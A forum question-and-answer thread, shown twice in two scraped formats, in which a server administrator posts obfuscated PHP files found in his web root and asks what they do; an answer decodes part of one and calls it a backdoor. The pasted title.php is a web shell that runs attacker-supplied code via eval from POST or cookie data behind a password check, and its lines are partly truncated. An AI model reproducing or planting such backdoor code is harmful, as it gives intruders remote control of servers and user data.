<p>This is a backdoor type script attempting to get information about global php configuration settings.</p>

<p><code>$alphabet</code> holds (in obfuscated form) the string "base64_decode". <code>base64_decode</code> is a function to unmangle the long base64 encoded $string value into this-:</p>

<pre><code>global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;
global $cwd,$os,$safe_mode, $in;
</code></pre>

<p>A function with the above code is then created (reading the characters in <code>"noi"."tcnuf"."_eta"."erc"</code> spells create_function) and then executed.</p>

<h2>NOTE</h2>

<p>PHP stores lots of useful information in $GLOBALS array, including HTTP requests, environmental settings and server settings. So files such as this are used to extract information from your system and from your user's posts.</p>

CC BY-SA 4.0
2019-08-12T15:27:19.750Z
thats helpful...but what is the end result of this code? What is it doing / accessing?
kp123
CC BY-SA 4.0
2019-08-12T16:05:30.890Z
answer updated - essentially scripts like are used to get information on your system and users.
suspectus
CC BY-SA 4.0
2019-08-12T17:13:46.180Z
Thanks, that's helpful
kp123
CC BY-SA 4.0
2019-08-12T17:14:23.880Z
Any idea how to block this kind of hacking attempt in the future?
kp123
CC BY-SA 4.0
2019-08-12T17:19:33.607Z
yes, audit every part of your network / services  and any access to them. Harden passwords, web server config, network infrastructure etc etc
suspectus
CC BY-SA 4.0
2019-08-14T05:24:51.543Z
@kp123 it's too expensive to audit and find entry points usy. Learn how to reduce cost if rebuild with Ansible
jdog
CC BY-SA 4.0
2019-08-12T14:07:21.070Z
2019-08-12T16:04:24.757Z
2019-08-12T16:04:24.757Z
suspectus
<p>Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like </p>

<pre><code>css2.php              db_model.php          .htaccess             menu57.php            rss_feeder.class.php  stats21.php           title.php   
</code></pre>

<p>This is the contents of one of them (db_model.php) but they all look similar. </p>

<pre><code>&lt;?php

$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Z2xvYmFsICRhdXRoX3Bhc3MsJGNvbG9yLCRkZWZhdWx0X2FjdGlvbiwkZGVmYXVsdF91c2VfYWpheCwkZGVmYXVsdF9jaGFyc2V0LCRzb3J0Ow0KZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsNCg0KJGF1dGhfcGFzcyA9ICdmMzI0MmRjYzU5$
$array_name = "";
$ar = array(4,29,34,38,42,9,21,7,38,17,37,7,38);
foreach($ar as $t){
   $array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();
</code></pre>

<p>From another file, title.php:</p>

<pre><code>&lt;?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['ae767'] = "\x3e\x44\x36\x6d\xd\x73\x34\x49\x7b\x4c\x7a\x52\x5a\x5d\x2a\x74\x3f\x72\x6c\x50\x4f\x5e\x6f\x6a\x65\x68\x4a\x37\x3d\x48\x23\x9\x69\x4b\x55\x61\x42\x7d\x32$
$GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'][91].$GLOBALS['ae767'][25].$GLOBALS['ae767'][17];
$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS['ae767'][38].$GLOBALS['ae767'][82].$GLOBALS['ae767'][42].$GLOBALS['ae767'][24]] = $GLOBALS['ae767'][22].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][15].$GLOBALS['ae767'][17].$GLOBALS['ae767'][18].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]] = $GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][58].$GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][62].$GLOBALS['ae767'][41].$GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][6].$GLOBALS['ae767'][92].$GLOBALS['ae767'][92].$GLOBALS['ae767'][82].$GLOBALS['ae767'][82].$GLOBALS['ae767'][2].$GLOBALS['ae767'][56]] = $GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767'][1$
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][66].$GLOBALS['ae767'][56].$GLOBALS['ae767'][35].$GLOBALS['ae767'][92].$GLOBALS['ae767'][83]] = $GLOBALS['ae767$
$GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][10].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] = $_POST;
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] = $_COOKIE;
@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
@$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]](0);

$z0503b8 = NULL;
$afb153 = NULL;

$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][92].$GLOBALS['ae767'][35].$GLOBALS['ae767'][91].$GLOBALS['ae767'][2].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][75].$GLOBALS['ae767'][35].$GLOBALS['ae767'$
global $k5ac67;

function z629f($z0503b8, $mf97830)
{
    $t7aae05 = "";

    for ($u9ce42=0; $u9ce42&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($z0503b8);)
    {
        for ($w21eb399=0; $w21eb399&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($mf97830) &amp;&amp; $u9ce42&lt;$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767']$
        {
            $t7aae05 .= $GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]]($GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS$
        }
    }

    return $t7aae05;
}

function a774bfe($z0503b8, $mf97830)
{
    global $k5ac67;

    return $GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]]($GLOBALS[$GLOBALS['ae767'][24$
}

foreach ($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] as $mf97830=&gt;$sf8707d0)
{
    $z0503b8 = $sf8707d0;
    $afb153 = $mf97830;
}

if (!$z0503b8)
{
    foreach ($GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] as $mf97830=&gt;$sf8707d0)
    {
        $z0503b8 = $sf8707d0;
        $afb153 = $mf97830;
    }
}

$z0503b8 = @$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]]($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][6$
if (isset($z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]]) &amp;&amp; $k5ac67==$z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]])
{
    if ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][32])
    {
        $u9ce42 = Array(
            $GLOBALS['ae767'][58].$GLOBALS['ae767'][40] =&gt; @$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLO$
            $GLOBALS['ae767'][5].$GLOBALS['ae767'][40] =&gt; $GLOBALS['ae767'][75].$GLOBALS['ae767'][85].$GLOBALS['ae767'][42].$GLOBALS['ae767'][60].$GLOBALS['ae767'][75],
        );
        echo @$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]]($u9c$
    }
    elseif ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][24])
    {
        eval($z0503b8[$GLOBALS['ae767'][56]]);
    }
    exit();
}



</code></pre>

<p>Clearly we need to harden our Ubuntu installation to prevent this from happening over again.
But what in the world does this code do?</p>

<servers>
Hacking attempts to our server - what does this code do?
kp123
# Hacking attempts to our server - what does this code do?

(Asked by: username_0 on 2019-08-10)

Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like 
css2.php              db_model.php          .htaccess             menu57.php            rss_feeder.class.php  stats21.php           title.php   

This is the contents of one of them (db_model.php) but they all look similar. 

From another file, title.php:
$sf8707d0)
{
    $z0503b8 = $sf8707d0;
    $afb153 = $mf97830;
}

if (!$z0503b8)
{
    foreach ($GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] as $mf97830=>$sf8707d0)
    {
        $z0503b8 = $sf8707d0;
        $afb153 = $mf97830;
    }
}

$z0503b8 = @$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]]($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][6$
if (isset($z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]]) && $k5ac67==$z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]])
{
    if ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][32])
    {
        $u9ce42 = Array(
            $GLOBALS['ae767'][58].$GLOBALS['ae767'][40] => @$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLO$
            $GLOBALS['ae767'][5].$GLOBALS['ae767'][40] => $GLOBALS['ae767'][75].$GLOBALS['ae767'][85].$GLOBALS['ae767'][42].$GLOBALS['ae767'][60].$GLOBALS['ae767'][75],
        );
        echo @$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]]($u9c$
    }
    elseif ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][24])
    {
        eval($z0503b8[$GLOBALS['ae767'][56]]);
    }
    exit();
}




Clearly we need to harden our Ubuntu installation to prevent this from happening over again.
But what in the world does this code do?

**Tags:** servers


---

## 1 answers

### Answer by username_1 on 2019-08-12. Score: 2 | Accepted answer

This is a backdoor type script attempting to get information about global php configuration settings.
$alphabet holds (in obfuscated form) the string "base64_decode". base64_decode is a function to unmangle the long base64 encoded $string value into this-:
global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;
global $cwd,$os,$safe_mode, $in;

A function with the above code is then created (reading the characters in "noi"."tcnuf"."_eta"."erc" spells create_function) and then executed.
NOTE
PHP stores lots of useful information in $GLOBALS array, including HTTP requests, environmental settings and server settings. So files such as this are used to extract information from your system and from your user's posts.

> **Comments:**
> **username_0**: thats helpful...but what is the end result of this code? What is it doing / accessing?  
> **username_1**: answer updated - essentially scripts like are used to get information on your system and users.  
> **username_0**: Thanks, that's helpful  
> **username_0**: Any idea how to block this kind of hacking attempt in the future?  
> **username_1**: yes, audit every part of your network / services  and any access to them. Harden passwords, web server config, network infrastructure etc etc  
> **username_2**: @username_0 it's too expensive to audit and find entry points usy. Learn how to reduce cost if rebuild with Ansible  

---

